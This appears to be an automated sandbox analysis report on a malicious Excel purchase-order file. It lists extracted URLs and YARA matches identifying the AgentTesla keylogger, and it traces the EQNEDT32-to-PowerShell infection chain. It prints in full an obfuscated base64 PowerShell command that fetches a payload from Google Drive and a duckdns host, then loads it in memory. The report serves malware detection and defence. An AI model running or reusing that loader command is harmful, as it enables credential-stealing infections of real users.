Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: wscript.exe, 00000006.00000003.477174452.000000000051A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.000000000051A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.477774934.000000000051A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee/d/nwtk
Source: wscript.exe, 00000006.00000003.477174452.000000000051A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.000000000051A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.477774934.000000000051A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee/d/nwtkd
Source: wscript.exe, 00000006.00000003.475867877.00000000030F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee/d/nwtkd(M
Source: powershell.exe, 00000007.00000002.575765381.000000000251A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.520640546.0000000002451000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.623977936.000000000241C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.623977936.0000000002381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: EQNEDT32.EXE, 00000003.00000002.470732712.000000000032F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wednesdayyyyyyfile.duckdns.org/wednesdaysMPDW-constraints.vbs
Source: EQNEDT32.EXE, 00000003.00000002.470732712.00000000003AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wednesdayyyyyyfile.duckdns.org/wednesdaysMPDW-constraints.vbs024C:
Source: EQNEDT32.EXE, 00000003.00000002.471163150.0000000003500000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wednesdayyyyyyfile.duckdns.org/wednesdaysMPDW-constraints.vbsj
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000009.00000002.526475419.00000000074EA000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000009.00000002.520640546.0000000003479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.520640546.0000000003479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.520640546.0000000003479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000009.00000002.520640546.000000000258A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 00000009.00000002.520567838.0000000001F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6
Source: powershell.exe, 00000009.00000002.520640546.000000000258A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur
Source: powershell.exe, 00000009.00000002.520640546.00000000026C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: powershell.exe, 00000009.00000002.520640546.00000000026C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download
Source: wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/dahall/taskscheduler
Source: powershell.exe, 00000009.00000002.520640546.0000000003479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/nwtkdE6
Source: wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 9.2.powershell.exe.74eab28.1.raw.unpack, xljC6U.cs

.Net Code: YPw7g

System Summary

Malicious sample detected (through community Yara rule)

Source: sheet1.xml, type: SAMPLE	Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Source: 9.2.powershell.exe.74eab28.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.powershell.exe.74eab28.1.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3708, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3808, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Server XML HTTP 6.0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{88D96A0B-F192-11D4-A65F-0040963251E5}\ProgID			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\ProgID			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00285B40	9_2_00285B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_002DB8F8	10_2_002DB8F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_002D4920	10_2_002D4920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_002D3908	10_2_002D3908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_002DECC8	10_2_002DECC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_002D7E28	10_2_002D7E28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_002D8680	10_2_002D8680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_002DB0C3	10_2_002DB0C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_002D3C45	10_2_002D3C45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_002D3C50	10_2_002D3C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_002D8738	10_2_002D8738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_002DDFB1	10_2_002DDFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_00630CC8	10_2_00630CC8

Source: Orden de Compra No. 78986756565344657.xlam.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 2314
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 2314			Jump to behavior

Source: sheet1.xml, type: SAMPLE	Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: 9.2.powershell.exe.74eab28.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.powershell.exe.74eab28.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: Process Memory Space: powershell.exe PID: 3708, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3808, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 9.2.powershell.exe.74eab28.1.raw.unpack, 9O2OLI.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, hdYUG.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, LGBZ4N2f.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, F8OmG.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, Bgo.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, k7FmsUgnvL.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, dVjkZ3EEsen.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, dVjkZ3EEsen.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, dVjkZ3EEsen.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.powershell.exe.74eab28.1.raw.unpack, dVjkZ3EEsen.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@10/10@8/5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Orden de Compra No. 78986756565344657.xlam.xlsx

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR8B5D.tmp

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................T.r.u.e.(.P.....................T........S.........................s............(.%.............@.%.............			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ....................................u.e.(.P.....................T........S.........................s............(.%.............H...............			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

